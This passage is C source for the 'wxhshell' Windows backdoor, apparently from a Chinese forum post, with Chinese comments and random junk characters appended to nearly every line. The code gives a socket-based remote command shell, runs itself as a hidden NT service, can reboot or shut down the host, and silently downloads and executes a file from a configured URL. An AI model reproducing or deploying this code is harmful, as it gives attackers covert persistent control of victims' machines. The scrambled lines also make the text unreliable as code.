    switch(cmd[0]) { ]D2 d=\  
  fv* $=m  
  // 帮助 HG5E,^1n  
  case '?': { *|L;&XM&/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dIQ3snG  
    break; bG.`>   
  } K^b'<} $|p  
  // 安装 { Rxb_9  
  case 'i': { 7fT_]H8  
    if(Install()) ~ `{{Z&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {=3'H?$  
    else !{g>g%2!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H2+Ijn19E  
    break; ?AI`,*^  
    } tgeXX1Eq!  
  // 卸载 Tz\v.&? $  
  case 'r': { Q;m8 drU  
    if(Uninstall()) ?c fFJl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nx{X^oc8e  
    else rC/z8m3z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oHV!>K_D  
    break; bQ0+Y?,+/  
    } 8KdcU [w]  
  // 显示 wxhshell 所在路径 5GJa+St?  
  case 'p': { dg(sRTi{  
    char svExeFile[MAX_PATH]; Wh%@  
    strcpy(svExeFile,"\n\r"); THCvcU?X  
      strcat(svExeFile,ExeFile); N{Pa&/V  
        send(wsh,svExeFile,strlen(svExeFile),0); ~ sWXd~\  
    break; bK!uR&i^l  
    } hb)83mH}  
  // 重启  [cfXcl  
  case 'b': { ,x[~|J!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X:(t,g*7  
    if(Boot(REBOOT)) iE ,"YCK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2ryg3% +O  
    else { 9wC='  
    closesocket(wsh); u*7>0o|H:  
    ExitThread(0); -Ji uq  
    } PL3oV<\4s>  
    break; 1n>AN.nI  
    } |B\76Nk  
  // 关机 {q);1Nnf  
  case 'd': { W{]r_`=:6S  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m='_ O+ $  
    if(Boot(SHUTDOWN)) @.QuIm8,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QT(]S>--n  
    else { !]z4'*)W  
    closesocket(wsh); Fj&8wZ)v)  
    ExitThread(0); [bBPs&7u  
    } ?,eq86-M  
    break;  (S&D  
    } `cRRdD:dA  
  // 获取shell ORIXcj]  
  case 's': { ;s$ P?('  
    CmdShell(wsh); &?9~e>.OS  
    closesocket(wsh); BGO pUy  
    ExitThread(0); Gs*X> D  
    break; "@jYZm8  
  } ~yRKNH*M  
  // 退出 _G^4KwYp  
  case 'x': { TSRl@QVy  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); RAxp2uif  
    CloseIt(wsh); J@4 Z+l9  
    break; 0y;1D k!  
    } reNUIDt/c  
  // 离开 z&.F YGq}  
  case 'q': { 7wbpQ&1_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); aSfAu!j)  
    closesocket(wsh); Nqbm,s  
    WSACleanup(); #BI Z|  
    exit(1); >H]|R }h  
    break; <7MxI@\  
        } :*tFW~<*b  
  } :l {%H^;1  
  } <;!#+|L/  
*i,A(f'e4X  
  // 提示信息 OlsD  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CE I.*Iywu  
} MeO2 cy!5q  
  } 6k ]+DbT  
Rw!_j!  
  return; *MXE>   
} 05YsLNh  
M{XBmDfN  
// shell模块句柄 |Tk'H&  
int CmdShell(SOCKET sock) -9q3]nmT(  
{ XK@Ct eP"  
STARTUPINFO si; ,GF(pCZzG  
ZeroMemory(&si,sizeof(si)); fvV5G,lD3h  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sN/8OLc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; CYhSCT!-?  
PROCESS_INFORMATION ProcessInfo; 6{[ uCxxl  
char cmdline[]="cmd"; BIjkW.uf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $< .wQ8:Q  
  return 0; Mg\8m-L^  
} rJCu6  
/+?eSgM/  
// 自身启动模式 kclZ+E  
int StartFromService(void) iGIry^D  
{ Rw`64L_  
typedef struct (ZD~Q_O-  
{ %/%TR@/  
  DWORD ExitStatus; `_pVwa<@w  
  DWORD PebBaseAddress; ]/?$DNjCc  
  DWORD AffinityMask; xL!@$;J  
  DWORD BasePriority; F@-8J?Hl:  
  ULONG UniqueProcessId; 4{ED~w|  
  ULONG InheritedFromUniqueProcessId; mFuHZ)iQG  
}   PROCESS_BASIC_INFORMATION; i[ n3ILn  
Y]"lcr}  
PROCNTQSIP NtQueryInformationProcess; tAS[T9B  
-N1X=4/fg  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {6>:= ?7]R  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f2i9UZ$=e!  
xbZR/!?  
  HANDLE             hProcess; a)rT3gl  
  PROCESS_BASIC_INFORMATION pbi;  75T+6 u  
\`>f?}4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a)M3t  
  if(NULL == hInst ) return 0; ujeN|W  
d{c06(#_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #9]O92t2UV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^-qz!ib  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); F<Z13]|  
i dY Xv)R  
  if (!NtQueryInformationProcess) return 0; +-MieiKv  
;^so;>F  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8MBvp*  
  if(!hProcess) return 0; ?l ](RI  
S1_):JvV  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a}kPc}n\  
3q0S}<h al  
  CloseHandle(hProcess); #i-b|J+%  
U{8x.CJ]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); SM[VHNr,-  
if(hProcess==NULL) return 0; lxtt+R  
n@//d.T  
HMODULE hMod; O|0,= 5  
char procName[255]; X/A(8rvCr  
unsigned long cbNeeded; dY.NQ1@"  
mZL0<vU@^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ihx[S!:  
x8RiYi+  
  CloseHandle(hProcess); 6@ =ipPCR  
*30T$_PiX|  
if(strstr(procName,"services")) return 1; // 以服务启动 li%A?_/m<&  
t^g+nguz  
  return 0; // 注册表启动 \_t[\&.a}  
} -@mcu{&  
23P7%\  
// 主模块 3u1\zse  
int StartWxhshell(LPSTR lpCmdLine) \&^U9=uq  
{ p)*x7~3e  
  SOCKET wsl; OT}P0 ~4s  
BOOL val=TRUE; ~Da-|FKa>  
  int port=0; QT[4\)  
  struct sockaddr_in door; G$6mtw6[M  
u'Z^|IVfo  
  if(wscfg.ws_autoins) Install(); RtF!(gd  
{6HgKI  
port=atoi(lpCmdLine); Fz@U\\94z  
} v3w-  
if(port<=0) port=wscfg.ws_port; w)"F=33}5  
9mB] \{^  
  WSADATA data;  ~5n?=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9PJnKzQ4  
muIJeQ.C  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Rh{`#dI~=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5O:4-} hz  
  door.sin_family = AF_INET; ]nm(V  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); lrK?&a9AB  
  door.sin_port = htons(port); (xMq(g  
!.w|+-JKO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =wFl(Q6J  
closesocket(wsl); #[sJKW  
return 1; ,? V YrL  
} 8k?V&J `  
LBnlaH.  
  if(listen(wsl,2) == INVALID_SOCKET) { fY 10a_@x  
closesocket(wsl); km6O3> p5r  
return 1; 4}*V=>z  
} Bn*QT:SKC  
  Wxhshell(wsl); N'I9J?e Q  
  WSACleanup(); I\('b9"*  
fs8C ^Ik>~  
return 0; "VA'W/yv!  
Q@cYHFi~+  
} ho}G]y  
[.nkNda5)v  
// 以NT服务方式启动 (O'O #AD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zz-X5PFn  
{ Kj#h9e  
DWORD   status = 0; <|VV8r93  
  DWORD   specificError = 0xfffffff; M#xol/)h  
dX DuO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Q VWVZ >l  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -z>m]YDH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; SHqz &2u  
  serviceStatus.dwWin32ExitCode     = 0; N`7+] T  
  serviceStatus.dwServiceSpecificExitCode = 0; /n3SE0Y  
  serviceStatus.dwCheckPoint       = 0; P7;q^jlB  
  serviceStatus.dwWaitHint       = 0; BJnysQ  
`k3sl 0z%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +jj] tJ$[  
  if (hServiceStatusHandle==0) return; gTg[!}_;\N  
OQ4rJ#b  
status = GetLastError(); +@anYtv%7  
  if (status!=NO_ERROR) 0|]qW cD  
{ JUTlJyx8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; KqWO9d?w.  
    serviceStatus.dwCheckPoint       = 0; Q-||A  
    serviceStatus.dwWaitHint       = 0; Q57Z~EsF  
    serviceStatus.dwWin32ExitCode     = status; ?7w7Y;FuR  
    serviceStatus.dwServiceSpecificExitCode = specificError; HVNX"`]"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6bBNC2K$-  
    return; U sV?}  
  } ky[^uQ>0  
&[ $t%:`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0B(Y{*QB  
  serviceStatus.dwCheckPoint       = 0; CZ ,2Rq  
  serviceStatus.dwWaitHint       = 0; Dos';9Uq  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^fti<Lw5  
} hIwqSKq9  
n/+G^:~_  
// 处理NT服务事件,比如:启动、停止 L EY k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) x^y&<tA  
{ -Vj112 fI  
switch(fdwControl) c5t7X-LB  
{ 4J$dG l#f  
case SERVICE_CONTROL_STOP: `&SBp }W}  
  serviceStatus.dwWin32ExitCode = 0; <Mf(2`T  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^P owL:  
  serviceStatus.dwCheckPoint   = 0; }*vO&J@z  
  serviceStatus.dwWaitHint     = 0; _sF Ad`  
  { x24&mWgU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H@`lM~T[  
  } ePTN^#|W  
  return; ]u"x=S93  
case SERVICE_CONTROL_PAUSE: yH.Z%*=xQa  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; w,zm!  
  break; &H?Vlx Ix  
case SERVICE_CONTROL_CONTINUE: &e5,\TQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; P(i E"KH;  
  break; (+;%zh-  
case SERVICE_CONTROL_INTERROGATE: EP8R[Q0_"  
  break; g HKA:j`c  
}; kTo{W]9]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q6fPqEX=  
} +$B#] ,  
$GIup5  
// 标准应用程序主函数 USbFUHdDc  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [k7 ;^A5/  
{ r[AqA  
&dJ\}O[r  
// 获取操作系统版本 3s Mmg`  
OsIsNt=GetOsVer(); \n0MqXs#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %?!TqJT?{  
saR9_ ux  
  // 从命令行安装 p i\SRDP  
  if(strpbrk(lpCmdLine,"iI")) Install(); qj,^"rp1:  
sKDL=c;?j  
  // 下载执行文件 JO\KTWtjO  
if(wscfg.ws_downexe) { zc!q a"4yM  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) yz_xWx#9  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^c:I]_Ww  
} ;ZR^9%+y9  
0]l9x}  
if(!OsIsNt) { BDPF>lPf<  
// 如果时win9x,隐藏进程并且设置为注册表启动 vPx#TXY=b}  
HideProc(); ;f2<vp;U  
StartWxhshell(lpCmdLine); CV *  
} N~9zQ  
else %QX"oRMn0  
  if(StartFromService()) ?^{Ey[)'(  
  // 以服务方式启动 | @p  
  StartServiceCtrlDispatcher(DispatchTable); pe-%`1iC0>  
else qEnmms1  
  // 普通方式启动 :47"c3J  
  StartWxhshell(lpCmdLine); O\^D 6\ v  
x!A5j $k0  
return 0; E# *`u  
}
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只看该作者 1 发表于: 2006-10-10
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